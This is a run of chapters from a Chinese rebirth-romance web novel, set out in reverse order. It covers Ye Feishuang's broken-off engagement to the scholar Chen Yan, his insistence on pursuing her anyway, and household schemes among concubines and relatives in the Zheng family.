《首辅大人请自重,这一世是我不要你了》 第139章 他可以追 刚出正月,郑家的退婚书就送到了陈家。 陈夫人第一时间拿给陈宴看。 陈宴道:“婚约是祖父订下的,也当由他来解除。等祖父回来,盖了章,退还信物,这门婚就作罢了。” “如此便好。”陈夫人松了口气,“你总算想通了。” 虽然她不知道儿子为何忽然就想通了,但总归是好的。 陈夫人刚走了没多久,外边传来一连串“哒哒哒”的脚步声。 一个穿着红色棉袄,戴着虎头帽的小女孩跑了进来。 “三叔,三叔!”小女孩拿着鸡腿,另一只油腻腻的小手就往陈宴身上摸。 陈宴提着领子把她拎起来,放在圆凳上,拿出帕子给她擦花猫一样的脸。 小女孩三四岁的模样,一张脸白白嫩嫩,眼睛很像葡萄。 有点胖,往那儿一坐墩子似的。 “三叔,你病好了没有?你都瘦啦!肯定没吃饭饭!”她把啃得乱七八糟的鸡腿往陈宴跟前递,“吃肉肉!” 陈宴还没说话,就有一个稍大点的小男孩跟了进来,说:“三叔才不会吃你啃过的鸡腿!” 小女孩撅起嘴巴,“呸”了一声,向小男孩发射口水。 接着就是接连不断的“三哥哥”“三堂哥”,寂静的客居霎时间热闹无比,惊起了竹林里的鸟雀。 陈氏一族都知道,三郎陈宴是这一辈里最有出息的,当然要好好笼络巴结。 但陈宴性子并不热络,总是让人无从下手。 他们来探病,全都吃了闭门羹。 不过幸好,陈家人都知道,陈宴喜欢孩子。 他嫌大人烦,可从不嫌孩子烦。 于是都派出了自家的小团子,代表各方大人来对久病初愈的三公子表示慰问。 卢季同刚来,就被这“叽叽喳喳”的孩童尖叫吵得脑壳差点炸了。 “亲娘诶。”他捂着耳朵,看着被孩子们围起来的陈宴,“你真受得了。” 陈宴听他们罗里吧嗦地背了上句不接下句的唐诗,猜了已经猜过不下八十遍的字谜,婉拒了沾着口水的鸡腿和化成一团瞧着就很恶心的麻糖,送出了数块宝石,总算让这群小宝贝心满意足地走了。 卢季同啧啧嘴:“你这辈子的耐心都用在孩子身上了。” “稚子童真,多有趣。”陈宴说。 卢季同乐了:“可惜了,我霜儿表妹还小,你得等她及笄,再等着完婚……怕是没个五六年你当不了爹。” 陈宴一抬下颌,示意桌面:“看那是什么。” 卢季同懒洋洋地拿过来,一看,眼睛顿时瞪得像铜铃:“退婚书?” “嗯。” “霜儿表妹要和你退婚?” “嗯。” “为什么?” “不喜欢我。” “我是问你为什么会同意!” 卢季同这两年都和陈宴在一块儿,他知道陈宴对叶绯霜多上心,竟然真能同意退婚? 陈宴说:“还记得我们去狩猎么?如果不想伤害猎物,那就要布陷阱。如何让猎物心甘情愿地踏进陷阱里?首先就要让它们放松警惕,不能逼太紧。” “我霜儿表妹可不是猎物,你越放松,她跑得越远。” “不要紧,我可以追。” 卢季同乐了:“清言啊,要我说还是算了。你看这都快两年了,我霜儿表妹对你还是一点好感都没有,我估计以后也不会有了,她就根本不喜欢你这样的。” 对上陈宴凉凉的眼神,卢季同继续道:“要是换做旁人,你说她情窦未开,等她大一点说不定就好了。可我霜儿表妹早慧,她很通人情世故,自然也知道什么叫喜欢。她就是对你没感觉,你趁早放弃吧。” 陈宴轻哂:“急什么,这才哪儿到哪儿。” 卢季同继续泼凉水:“没了这纸婚约,你连正当见她的理由都没有。” 陈宴懒散道:“那就不必正当。” 卢季同:“……” 他算是知道了,叶绯霜这是把陈宴的好胜心给激起来了。 不对,不是好胜心,是必胜心。 这是陈宴自小就给自己定下的要求:凡是他想做的事,他就一定要做成,哪怕千难万险,也绝不退缩,更不会放弃。 “得了,兄弟我只能祝你成功了。”卢季同说,“走吧,郑文煊来了。” 郑文煊,成国公府长子,郑茜静的大哥。 今年二十四,在詹事府任职。 陈宴和卢季同过去的时候,他兄妹二人正在说话。 一旁还有两位御医,几位医正,正在探讨郑茜静的病情。 大家说得热火朝天,其中一位穿苍色圆领袍的年轻医正格外沉默,他捏着几张方子,时不时往郑茜静那边瞟两眼。 很快,谢珩也被叫过来了。 郑文煊先向他道了谢,然后让他把郑茜静遇险当晚的情况详细和大夫们说一下,好让大夫们判断郑茜静的病情。 一位御医说:“谢二公子,请务必详细说明,任何细节都不要落下。” 谢珩一愣:“细节?都要说?” “都要说。” 谢珩:“……” 那天晚上为了救人没觉得有什么,事后他也没多想。现在要再描述一遍,谢珩顿时感觉不太自在。 到底还是男女有别。 他和大夫们去了另外的房间,磕磕绊绊、哼哼唧唧地把那晚的情形讲了。 讲到按压郑茜静的胸口、给她嘴里吹气的时候,那位年轻医正看向谢珩的目光格外的深邃。 谢珩都被他看得发毛了:“我是为了救人,可不是想占便宜啊!” 年轻医正收回视线,一言不发地做记录,握着狼毫的指尖格外苍白。 郑文煊则蹙起眉头,竟还有这种事? 宴会的时候,男女都要用屏风隔开,脸都不要瞧见。郑茜静和谢珩这已经……虽说事出突然,但是…… 郑文煊心下复杂,暂时没有多说什么。 等东西收拾好,郑文煊让人护送郑茜静回京。 郑茜静不太乐意,她还想回荥阳去。 郑文煊说:“你在荥阳都出了多少意外了?娘都快吓死了,你必须回去。” “可我想去和五妹妹玩,回国公府好没意思的。” 这两年,郑文煊也对这位五妹妹多有耳闻。 毕竟郑茜静的家书里,“五妹妹”三个字的出现频率实在太高了。 他对这位乡下回来的妹妹极其有兴趣。 当然,除了他,还有另外一人,对郑五姑娘也很有兴趣。 那就是已经知道自己睡错人的宁浔。 宁浔感觉自己加倍被羞辱了。 “可恶,那个丑八怪怎么不说清楚?害得老子在她身上浪费时间!”宁浔咬牙切齿,“去荥阳!老子这次一定要看对人再睡!” 第138章 不破不立 一行人在郑府门口迎接他们回来。 叶绯霜刚扶着靳氏下了马车,便听见一叠声的殷勤娇笑:“老爷一路辛苦啦!茶点都备好了,老爷快回来歇歇吧!” 转头一看,果然是二姨娘秋扇。 她穿金戴银,光彩夺目,把旁边的五夫人康氏衬得灰头土脸。 秋扇瞧见叶绯霜时,愣了一下。 她怎么全须全尾地回来了?哥哥不是已经雇了镖局的人,要把她抓住杀掉吗? 是哥哥没有找到下手的机会,还是计划失败了? 秋扇见叶绯霜神色如常,觉得哥哥应该还没下手,而不是计划失败了。 那就好,秋扇暗自松了口气,这次没暴露就好,以后再找机会下手就是了。 郑丰和秋扇说了两句话,就亲昵地搂着他过年刚纳的十七姨娘走了。 秋扇转而对靳氏笑道:“四夫人,四房可有喜事啦!” 靳氏和秋扇实在不熟,对这过分热络的笑容有些不适,僵硬问道:“什么喜事?” “四老爷把妙儿收房了!” 这话一出,不光靳氏惊呆了,后边的一众仆人也震惊了。 男仆们想:真羡慕四老爷,去年开始日子好了,身子骨也好了,这就纳上妾了。 女仆们想:唉,男人就这德行。之前病了好些年,都是四夫人尽心尽力地照顾着。结果这才刚好,扭头就纳妾了,四夫人真可怜。 秋扇亲热地握住靳氏的手:“妙儿人如其名,真是个妙人。长得好,性子更好。以后她就是四房的人了,定会好好伺候四老爷和四夫人。要是她犯了错,您也别客气,教训她就是了。” 靳氏反应过来后,顿时红了眼眶。 她的手和秋扇的手握在一起,差别是那么的明显。 秋扇十指纤纤,肤如凝脂。 她的手粗糙黑黄,十根手指因为常年在冷水中浸泡,生了冻疮,一到冬天就肿得像萝卜。 手如此,脸更是。她三十多岁,却比四五十岁的妇人还憔悴。 富贵日子和贫苦日子是不一样的。贫苦的时候,许多夫妻只有彼此,日子好了,有的多了,有多少人能抵住诱惑呢? 有几个人能不嫌弃糟糠之妻呢? 叶绯霜把靳氏的手从秋扇手里拽了出来。 她握着母亲粗糙的手,把自己掌心的热度传递给她,给她支撑。 她轻声说:“爹爹不会的,娘亲要相信爹爹。” 靳氏生生忍住了,没有让眼泪掉出来,不至于在下人面前失态。 但她确实是怕的,没有自信,内心不安得厉害。 当初秦氏被硬塞进四房,给她造成的阴影太大了。 见娘亲这么难受,叶绯霜很想把秋扇那张笑脸给抓烂。 娘亲和爹爹的日子才好起来,这些东西就给他们找不痛快。 秋扇一路跟着往四房去,不停地夸妙儿有多好。 叶绯霜道:“既然这么好,为何姨娘不把她给了五叔呢?” “她不是五老爷喜欢的那种。” 叶绯霜嗤笑:“这样啊,我还以为姨娘怕妙儿分您的宠,才不敢给五叔呢。” 秋扇被戳破,顿时尴尬,讪笑道:“五姑娘开玩笑了,咱们可没那心思。” 叶绯霜直来直去:“也是,五叔有那么多姨娘,秋姨娘又能分到多少宠爱呢?妙儿想分怕是都没得分。” 小桃:“噗。” 还有几个丫鬟想笑但是不敢,立刻垂头忍着。 秋扇一张脸异彩纷呈,好心情顿时没了大半。 但她还是撑着灿烂的笑容,颇为得意地说:“我宠爱多少不要紧,起码我有十一少爷,老爷最疼十一少爷了。” 秋扇的儿子就是她最大的底气。 毕竟那是五房现在唯一的男丁。 叶绯霜也笑道:“是呀,十一弟可是个大宝贝,秋姨娘务必要把他照顾好了。” 终于到了玉琅阁。 这是秋扇第一次来。 一进门,她的眼珠子就差点掉下来。 这这这,这也太富丽了! 都说他们五房是郑府最富的一房,但是秋扇觉得自己的院子和玉琅阁比起来,简直就和贫民窟没什么两样! 顿时又酸又妒,甚至嫉妒起妙儿来,以后可以有这么好的房子住。 看来四房比她想象中还要有钱,她以后得和妙儿合计合计,该怎么把四房的财产抢过来。 过了前院,便见郑涟正坐在院中晒太阳。 叶绯霜叫了声:“爹爹!” 郑涟笑道:“回来啦?” 他看向妻子,靳氏朝他行了个礼,就站在原地没动了。 要是以往,她早就迫不及待地走到自己身边,嘘寒问暖了。 唉,这是不相信他,生气了。 “四老爷吉祥!”秋扇热络地笑道,“以后妙儿就是四房的人了,我来送妙儿的身契。” 秋扇的丫鬟立刻从袖中拿出一张纸,递给郑涟。 郑涟没接。 他说:“你来得正好,把人带回去吧。” 秋扇立刻道:“那哪儿行呢?府里都知道,妙儿已经是四老爷的人了!四老爷心善,留下她吧,毕竟伺候四老爷一场……” 郑涟摆了摆手,两个婆子会意,抬了一卷席子过来。 席子旁边垂下一只胳膊,毫无血色,透露着死人的苍白。 细瘦的手腕上还挂着一只金镯子,秋扇记得,那是她昨天亲手给妙儿戴上去的,让她好好打扮,务必笼络住四老爷。 秋扇一张脸瞬间血色尽褪:“四老爷,这……” 郑涟缓缓道:“这丫鬟擅闯四房,居心不良。我按照规矩罚她在院中跪了一夜,她没挺住,去了。” 靳氏不可置信地看向郑涟,她从未想过,窝囊老实的郑涟也会罚人。 叶绯霜则想的是,爹娘不再逆来顺受,他们会反抗了,真好。 不破不立。去年鼎福居那场争端,让爹娘在鬼门关走了一圈,也彻底击碎了他们的软弱。 郑涟处理妙儿就是为了彰显一个态度:他不纳妾,有歪心思的都省省,谁也别想扰了四房的日子。 靳氏一直忍着的眼泪终于掉了下来。她立刻走到郑涟身边,欲言又止地看着他。 “秋姨娘,你御下不严,自己去三嫂那里领罚。”郑涟说,“五房的都出去吧。” 秋扇浑浑噩噩地离开了玉琅阁。 一回到自家的院子,她忙道:“快,快把哥哥叫来,我有话问他!” 丫鬟很快回来,说:“没找着福泰管事。” 秋扇哪里知道,福泰被叶绯霜留在了颍川,好让成国公府的人发落。 她只当福泰老毛病犯了,又去滥赌了。 “真是,这臭毛病迟早害死他!”秋扇嘟囔。 “姨娘,您真要去三夫人那儿领罚吗?”丫鬟问。 “不去,去什么去!”秋扇翻了个白眼,“妙儿自己想攀高枝,被四老爷处罚了,关我什么事?还说我御下不严,我忙着照顾十一少爷,有疏忽不也难免?” 也不怪秋扇嚣张贪婪胃口大,谁让她的孩子是郑丰现在唯一的儿子呢? 郑丰妻妾众多,但她们生的都是女儿。康氏倒是生过一个儿子,但那孩子很小的时候就没了。 她儿子现在可是五房唯一的香火。 她有这么个宝贝,那五姑娘今日还敢阴阳她不受宠,哼,她记住了。 第137章 不会放过 叶绯霜强势地回视着他:“我不是赵芳菲,不会任由你抢。” 现在可不是前世,她有的是力气反抗。 “我忽然觉得,只靠一纸婚约束缚着似乎也没什么意思,我还是比较喜欢靠自己。”陈宴的语调含笑,却阴沉,“现在失败没关系,我还年轻得很,有的是时间来争取成功。” “如果陈公子所谓的成功就是让我喜欢上你,那你还是不要浪费时间了。” “五姑娘方才说得不错,我遇到的挫折的确太少了。迄今为止,最大的失败就是你带给我的。”陈宴说,“对不住,这是我人生中的第一次失败,实在难以释怀。” 叶绯霜深吸一口气:“我建议你听陈老爷子的话,出去游历两年。等你受到的挫折足够多了,我就不算什么了。” “感谢建议,会认真考虑。” 扔下这句话,陈宴拂袖离开。 走到门口,他又顿住:“哦对了,还有一事。其实这种离奇的梦,我一共做了两个。一次是五姑娘来客居那天,一次是找到郑二姑娘那天。” “之前十几年不曾做过,但最近做了两次。我思考了一下,发现这两次有个共同点,那便是五姑娘在我身边。” “难道这是什么契机?”陈晏回过身来,“不妨五姑娘今夜留我一晚,让我验证一下?我就睡在……” 叶绯霜面无表情地看着他。 “算了,这里也没榻,我总不能睡地上。”陈晏笑道,“不急,以后有的是机会。” 陈晏走后,小桃悄摸进来,就看见叶绯霜在烦躁地抓头发。 她小心翼翼地问:“姑娘,怎么了?你和陈三郎吵架了吗?” 她觉得不像啊,陈三郎刚刚走的时候,心情看着比来时好多了。 叶绯霜脸色阴沉地上了床,半天没睡着。 陈晏刚说的是真的还是假的? 在她旁边,他真能梦见前世? 有点可怕。 第二天动身回荥阳,陈宴还来送行了。 郑丰不知道他们的婚约快解除了,还当这是未来的侄女婿,热络得不行。 陈宴面容舒朗,唇角含笑,一如既往的风度翩翩,仿佛昨晚什么都没发生。 “感谢五姑娘来探望在下,祝五姑娘一路平安。”他微笑着对叶绯霜说,“期待与五姑娘下次见面。” 叶绯霜说:“我不期待。” 陈宴自动过滤不爱听的,自顾自道:“相信会很快,毕竟我还要验证一些事情。” 他又看向靳氏,温文尔雅地说:“婚约不成仁义在,和五姑娘做不成夫妻,也是可以做朋友的。” 靳氏面色复杂,点头道:“三郎能这么想很好。” 陈三郎是个很有出息的人,未来前途不可限量。哪怕做不成自家女婿,靳氏也希望女儿能交这么一个朋友,背靠大树好乘凉。 回去的人比来的时候少了一些。 郑茜静在陈府养病,留了几个人照顾她。 而傅湘语前几天就被人快马加鞭送回荥阳了。 所以,此时的傅湘语正在鼎福居里,抱着郑老太太哭。 郑老太太的脸在紫色缎带抹额的映衬下,憔悴发黄,眼下有青,可见心绪郁结。 “外祖母,我可怎么办啊!” 郑老太太拍了拍她的背:“你是不能嫁陈三郎了。” 即便早知道会是这样,但听郑老太太这么说出来,傅湘语还是有种心碎的感觉。 她的美梦彻底破碎了。 天知道她喜欢陈宴喜欢了多久。 六年前,她跟着外祖母到成国公府小住,第一次见到陈宴时,她就记住了他。 她不敢表露自己的心思,把他偷偷放在心里,反复思慕。 那么多晦涩难懂的书,都是想着他才读下来的。 她想,自己更有才一点,就能离他更近一步。 可现在,什么机会都没有了。 “为什么是我?那个晟王七公子明明找的是叶绯霜。”傅湘语不甘又委屈地大哭着,“外祖母,我好冤,这些不该是我来承受啊!我是代叶绯霜受过!” 郑老太太说:“我会让人去平息流言。语娘,你也该为以后考虑了,我让人为你议亲吧。” 傅湘语怎么说都是郑老太太的外孙女,有这层身份在,婚事不会差到哪里去。 有的是人为了攀郑府的门楣,不介意傅湘语的丑闻。 傅湘语低着头不说话了。 知道她还是想着陈宴,郑老太太头更痛了。 “你想入晟王府么?”郑老太太问。 傅湘语一想到宁浔就浑身发抖:“不想!外祖母,他对我做出了那样的事,我怎能……而且,他已经娶妻了,我难道要给他做妾吗?” “外祖母怎么会让你给人做妾呢?我会为你争取一个平妻的身份。” “那也不要!”傅湘语咬唇,“宁浔不学无术,就是个混世魔王,将来晟王世子的位置也不会落到他头上,嫁给他有什么前途?” “那便给你说个读书人吧。” 一说前途,傅湘语就担心起自己的哥哥来:“外祖母,陈宴他说,不许哥哥去会试了。” 郑老太太冷哼一声:“我看陈三郎也是糊涂了。他不许就不许?他还没入朝为官呢!轮不到他说话!” “可他万一找了礼部的大人们……” “别怕,我会让你大舅舅和三舅舅处理的。达哥儿的仕途不会受影响的,放心吧。” 傅湘语低低“嗯”了一声。 过了片刻,她又问:“外祖母,我听管家说咱们府上的梅林要改造,隔一个院子出来,说有位贵人要来咱们府上养病,是谁啊?” 郑老太太蹙眉道:“信是你大舅舅写来的,让我们务必把院子建得宽敞华丽,里边的一切用度也要用最好的。但是没说对方的身份,只说是位贵客。” 傅湘语眼珠一转:“莫非是哪位皇子?” 郑老太太摇头。 “那怎么就看上咱们府了呢?虽说咱们府的汤泉是好,但京城周围也未必没有更好的。” “你大舅舅也没说原因。” 傅湘语揪着帕子,想,让大舅舅成国公都这么重视的,那身份一定相当贵重了。 她能不能努力一把? 既然不能嫁陈宴了,那也该从现实出发,尽可能给自己争取一门好的婚事。 如果可以让对方足够喜欢她,或许能不介意她的丑闻。 对方人品要好、门第要高、前途要足够光明。 这样,她才有和叶绯霜一斗到底的资本。 这次的耻辱,她绝对不会忘记。 这个仇,她一定要报。 她的美梦破碎了,她也绝对不会让叶绯霜好过。 傅湘语回到自己的院子后,叫来贴身丫鬟,让她想办法去打听打听郑府这位贵客到底是谁。 另外一个丫鬟来送茶点,笑着说:“姑娘,咱们府上今儿出了件新鲜事呢。” 傅湘语恹恹的:“什么事?” “是四房。”丫鬟小声说,“四老爷收了个丫鬟。” 一听四房,傅湘语的眼睛就亮了。 “真的?” “真的。是五房秋姨娘身边的,叫妙儿。”丫鬟道,“昨晚进了玉琅阁,现在还没出来呢,不知道会提通房还是提侍妾。” 傅湘语扬了下唇角,说:“这位秋姨娘倒是个有主意的,这下有意思了。” 想到叶绯霜一回来,就见她爹身边多了个女人,肯定会很堵心。 叶绯霜不好受,傅湘语的心情就舒畅多了。 第136章 是有前世 “不是梦还是什么?”叶绯霜毫不避讳地回视着他,“日有所思夜有所梦,你白天看见傅湘语的遭遇,然后做了这样一个梦,并不奇怪。” “如果我不曾有过关于前世的假设,我当然会认为那只是一个普通的梦。” “你也说了,只是假设。你非要认为所谓的前世真的存在,你有证据吗?” 如果有证据,他也不必来向她求证了。 叶绯霜转身走到桌边,倒了杯温水饮下。 陈宴静静看了她半晌,忽然说:“你一定要解除婚约是吗?” “我娘亲已经和陈夫人说清楚了,退婚书不日便送到贵府。” “但我若是不愿意的话,我有的是法子让这门婚退不了。” 叶绯霜放下茶杯:“陈公子,两府之交,何必闹得那么难看呢?祖辈为我们订下婚约的时候,也是揣着美好的心意。我们好聚好散,不好吗?” “五姑娘莫急。”陈宴走到桌边,也坐下,“这门婚,我也不是不能退。” 叶绯霜高兴了:“哦?你能想通就太好了。陈公子,你人中龙凤,以后会找到适合你的好姑娘的。” 提了那么多次,总算让他松口了。 陈宴道:“但我有条件。” 叶绯霜:“你说。” “我不喜欢糊里糊涂蒙在鼓里的感觉,只要五姑娘能为我答疑解惑,我也会如五姑娘所愿,解除我们的婚约。” “你问。” “我还是认为存在前世。”陈宴不疾不徐地说,“五姑娘厌恶我,对我避之不及,是不是因为我前世对你不好?我是否辜负了你?” 陈宴的目光清润温和,面容在幽暗灯光的映衬下,冠玉似的:“我想知道前世到底发生了什么,要是我真的犯了错,希望以之为鉴,避免重蹈覆辙。” “意思就是,只要我把前世之事告诉你,你就和我退婚?” 陈宴毫不犹豫:“是。” 他嗓音温柔,带着种诱哄:“我也只是想求个明白。” 二人都不说话了,房间内静谧无比,油灯的灯芯哔啵一声爆裂了。 叶绯霜垂着眼睛,但她依然能感受到陈宴在审视她、观察她、探究她,拿一种并不冒犯却足够细致的目光,捕获她纤毫的反应。 似乎过了良久,又好像只是片刻,叶绯霜猝然笑了一声,打破了这一室静谧。 娘的,差点上了这狗男人的套。 诈她呢这是。 退婚?开玩笑,只要她说出一个关于前世的字,之后和他就是无穷无尽的牵扯,他能放过她才怪了。 叶绯霜顿时就要否认。但她眼珠一转,决定换种说法。 她叹了口气:“好吧,既然陈公子都这么说了,我也就老实交代了。不错,我们的确有个前世。” 陈宴微扬眉梢:“之后呢?” “之后嘛,我们没成亲。傅湘语诬陷我和人私通,我被赶出了郑家,你娶了傅湘语。” “不可能。我不喜欢她,更不会娶她。” “话别说得这么自信。”叶绯霜笑道,“这一世,在你见到我之前,应该对我也很不满意吧?等真的见了我,你不也觉得我没那么差劲么?” 陈宴屏息一瞬:“我不会任由你被人诬陷,更不会坐视你被赶出郑府。我那时还和你有婚约,不可能对你放任不理。” “你又不喜欢我,不管我也很正常啊。我被赶出去之后惨得不得了,还要看着你和傅湘语恩爱,我真是恨死你们了。所以这一世我就好讨厌你,连带着傅湘语我也讨厌。” 陈宴蹙眉:“最后呢?” “最后啊……”叶绯霜抓了抓脸,“最后你位极人臣,和傅湘语恩爱一生。你妻妾环绕,子孙满堂。你的妾室都有谁来着?让我想想……赵芳菲……” “够了。”陈宴沉了脸,打断了叶绯霜的话,“不必再编这些鬼话来骗我。” “你看你这人。你非要问,真说了你又不信。” “我要听的是实话。” 一说他对冤情坐视不理,又说他妻妾环绕,这怎么可能? 有婚约在,哪怕他不喜欢她,他对她也是有责任的。正如过去这一年多,凡是他能帮她的他都帮了,她呢?把他编排成了一个那样无情无义的人。 叶绯霜抱着双臂,身子后仰靠进椅子里:“陈公子,你真的好难伺候。我说没有什么前世,你非说有。我现在说有了,你又说是我编的,你到底要我怎么样?” 她面上不显,心中冷笑。 就许他诈她,不许她骗他? 况且她说的也不全是假的啊,也不算骗吧。 陈宴面沉如水,显然对于她编的那个昏聩又好色还不负责任的自己极为不满。 少顷,叶绯霜倒了一杯水,推到他面前,平声静气地说:“好了,陈公子,我们都别试探彼此了。我们之间真的没有什么前世的恩怨牵扯,我们的关系真的很浅薄。” “陈公子,你就是命太好了。你听到的赞誉太多、受到的打击和挫折太少,所以我要和你退婚,你才会这么不甘心,无法接受有人不要你。 其实没什么的,咱们退婚,别人只会说退得好,不会对你的声誉名望造成任何不利。” 叶绯霜想,她的法子可能一开始就用错了。 她重生后退婚退得太急了。 她认为,前世的陈宴不喜欢她,那么她退婚肯定正合他意,他一定会答应。 她忽略了这位高贵的陈公子自尊心有多强。 包括后来,她想着法子想让他讨厌自己,却适得其反。 要是她和那些爱慕他的姑娘们一样,表现出对他的喜爱,上赶着贴他,说不定就真的被他讨厌了。 好烦,人心太难揣测了。 “我们认识快两年了。”陈宴忽然开口,语调晦涩沉哑,“第一次见面你就要和我退婚,到现在,你的想法依然没有丝毫改变。看来,我的确很失败。” 叶绯霜心中警铃大作,暗道不好。 陈宴可不是一个会接受失败的人。 他绝不容许自己的人生中出现失败二字,哪怕真的出现了,他也会将之扭转为成功。 她还记得前世,一位阁老说了一句他的某条新律注疏不合礼制,他就在皇书阁里整整呆了一个月,翻遍藏书,找出所有支撑他新律的条例,一条不落地甩在了那位阁老脸上,直逼得那位阁老吐血告饶,他才作罢。 “不不不,陈公子,你不失败。”叶绯霜忙道,“你非常成功,你是一个特别成功的人。” 陈宴静静道:“我说到做到,既然你给我讲了前世之事,哪怕是编的,我也如你所愿,和你解除婚约。” 叶绯霜:咦? 成了? 陈宴站起身来,俯视着她:“只你记住,哪怕我们解除了婚约,不代表我会放过你。” 他笑了一下:“抢人这种事,我能干一次,就能干第二次。” 叶绯霜心头发毛。 这个时候的陈宴,忽然很像前世那个强势又疯魔陈大人。 第135章 那不是梦 “姑娘!”赵芳菲的丫鬟新雨跑来她身边,小声却兴奋地说,“出事了!出大事了!” “怎么了?” “你知道外边在传什么吗?郑五姑娘和晟王七公子,他们……” 听新雨说完,赵芳菲不可置信地瞪大眼:“当真?” “真的啊!好多人都瞧见了,裸着就让人扔出来了!啧啧,她和陈公子的婚约肯定不成了!” 赵芳菲久久没有说话。 新雨开心地说:“姑娘,你不高兴吗?” “有什么可高兴的。”赵芳菲脸上露出一抹伤感,“她之今日,差点就是我之昨日。若非陈公子及时把我救出,我能比她好到哪里去呢?” 新雨不太懂什么叫物伤其类,但觉得她家姑娘说得有道理,那郑五姑娘是挺惨的,于是也笑不出来了。 “未婚妻出了这样的丑闻,陈公子一定很不好受。”赵芳菲的长睫轻轻眨了眨,“我……我想去看看他。” “去啊!”新雨立刻说,“陈公子正是需要安慰的时候。” 赵芳菲去了客居,可是这次又没能进去。 她对拦着她的丫鬟说:“麻烦帮我通报一声,陈公子会见我的。” 丫鬟连连摇头,苦着脸道:“赵姑娘,咱们实在不敢打扰公子,您请回吧。” 赵姑娘哪里知道,他们公子刚才回来的时候,那个脸色有多吓人。 别说通报了,她们都恨不得自己不用呼吸,省得发出动静。 进不去,赵芳菲也没什么办法。 转而一想,陈宴的心情不好应该只是暂时的。 毕竟他喜欢的是自己,又不是那郑五姑娘。 等他的火气下去,就好了。 赵芳菲开始盼着以后给他做妻子的人是个温柔大气的,能容人的,这样自己的日子也能好过一点。 —— 叶绯霜带着小桃在颍川城逛了个够。 哦对,还有萧序。 他和叶绯霜住在同一家客栈里,每天都能把叶绯霜逮住,然后和她一起出门。 “阿姐,我要和你一起玩,你以前都带我玩的。”他可怜巴巴地说。 前世把陈宴那张脸看了十一年,叶绯霜自认为已经对男色免疫了。 但她发现她无法抵抗萧序。 尤其他央求她的时候,看着他那双璀璨温柔的眼睛,她好像就丧失了说拒绝字眼的能力。 是因为他长得太好看了? 还是她真的在带入“阿姐”这个角色? 萧序身上没有那些少爷毛病,他乖得很,付钱的时候还特别积极。 小桃羡慕得不行,问她到底从哪里捡来这么一个好看又多金的弟弟,她也要去捡。 这几天,他们一块儿去酒楼吃美食,去茶楼看皮影戏,看了一场比武招亲,参与了一场抛绣球选亲,还去城外的观音庙里上了香、求了符。 小桃以为自家姑娘求的肯定是姻缘符,结果一看,哈,求财的。 一想,也是,没姻缘的才要求姻缘,她家姑娘已经有陈三郎了。 萧序求了一沓平安符,全都送给了叶绯霜。 叶绯霜都懵了,符又不像银票那样,越多越有用。 明天就要回荥阳了,小桃有些意犹未尽。 “姑娘,你知道吗?现在的日子是我以前做梦都不敢做的。” “嗯?” “我以前是个做粗活的小丫头,盼着的无非是能吃上白面馍馍和一口肉,再远一点,就盼着将来配个性子好点的小厮,不用挨打。哪像现在,吃好喝好穿好,还能到别处玩,比一些人家的姑娘还过得好呢。” 爹娘说,她命简直太好了,把家里都旺了。 “以后我去别的地方还带你。”叶绯霜说,“咱们走遍大江南北,把好吃的全吃了,把好玩的全玩了。” 小桃兴奋得不行:“那说好了啊,我可就盼着了!” 叶绯霜笑道:“整理完你买的小玩意们就睡吧,明天还要早起赶路。” 小桃把包袱们包好,刚准备灭灯,却听见有人轻轻叩门。 她打开房门一看,惊了:“陈公子?” 陈宴说:“出去。” 冷冰冰的两个字砸下来,小桃腿都差点软了。 “桃儿,你出去吧。”叶绯霜说。 小桃悄悄挪了出去,缩在门口。 该说不说,她觉得今天的陈三郎有点吓人。 叶绯霜问:“陈公子漏夜前来,有何贵干?” 因为要睡觉了,所以房间里的灯只剩了一盏,光线幽微昏暗,显得陈宴的脸色也格外的晦暗不明。 他缓缓开口,声音温沉暗哑:“你这几日一直都和那个人在一起。” “是啊,怎么了吗?” “他身份不明,你最好离他远些。” 他的人已经送回了消息,兰陵萧氏没有这号人,都查不出他到底从哪里冒出来的。 所以陈宴又说:“或许他连名字都是假的。他故意接近你,可能目的不纯。” 叶绯霜答应得很快:“好的,我知道了。” 陈宴知道,她不是把他的话听进去了,而是懒得跟他解释,也不想和他多说,所以这么敷衍他。 一股无名火窜了起来。 其实从他听说她每天都和那个人出双入对开始,这股火气就存在了。 “他是个男人,你不该和他太亲密。”陈宴说着,又加了一句,“我们的婚还没退。” 叶绯霜笑道:“怎么,陈公子,你吃醋了?” 陈宴听出她的调侃,微一蹙眉。 叶绯霜替他把话说了:“当然没有啦,因为你又不会喜欢一个小丫头片子,何谈吃醋呢?你只是觉得被冒犯了,你认为有人在沾染你的东西。” “陈公子,我们有婚约,但不代表我是你的所有物,我身上没有你的烙印,你不要总是妄图掌控我。” “我并没有这个意思。” “从我们刚认识开始,你教我读书,教我写字,给我灌输礼法教义,不就是在改变我、掌控我?不就是想让我成为你喜欢的样子,成为你理想中的妻子?” 陈宴说:“我只是想让你更好。” “你说多有意思,你被我的叛逆不羁所吸引,却又想要抹去这些特质。”叶绯霜说,“但是,我不会被你规训的。” “我是一个自由的人。我做什么事、结交什么人、走什么路,都是我的自由。陈公子,你的劝告我听到了,你可以回去了。” 陈宴没有走,他最重要的一个问题还没问。 他说:“前几日,我做了个梦。” “哦?” “我梦见有人说你和人私通,把你从郑家赶了出来。” 陈宴缓步走到叶绯霜面前,让自己在昏暗的光线中也可以看清她的面容。 “叶绯霜。”他盯着她的眼睛,一字一顿,“那不是梦,对不对?” 第134章 同意退婚 厅中燃着好闻的安息香,却无法让靳氏的心安宁下来。 她端坐在黄花梨木椅里,放在腿上的双手不自觉地绞在一起,薄薄的一层冷汗浸湿了她鬓角的几缕碎发。 之前那么多年,她一直窝在落梅小筑里照顾郑涟,几乎都忘了该怎么和人打交道。 更何况还是陈夫人这种通体气派、雍容端庄的世家妇。 陈夫人放下茶盏,轻轻叹了口气:“请二位过来,是因为我听到些风言风语,实在是不堪入耳。” 在来的路上,叶绯霜已经把傅湘语和宁浔的事情跟靳氏说了,靳氏虽然大为震撼,但到底有了心理准备。 靳氏忙道:“夫人,可是昨晚月云楼的事?那和我们霜儿无关。” 陈夫人脸上带着恰到好处的浅笑,眸底却冰凉一片:“我自然知道那不是郑五姑娘,可是外边都这么传。郑夫人,您也知道,女儿家的名声可是顶顶要紧的东西,一旦脏了,就洗不干净了。” 靳氏生怕这件事影响到叶绯霜和陈宴的婚约,急道:“夫人,我们会澄清,不让旁人平白污了我们霜儿的名声,也不会影响到三郎。” “哦?郑府能保证每一双听到流言的耳朵都听到你们的澄清吗?但凡有一点疏漏,将来可能就会成为攻讦我们的缺口。我们陈府世代清流,最重门风体面,断容不下一个有污点的儿媳妇。” “我们霜儿是个好姑娘……” “那就解除婚约吧。” 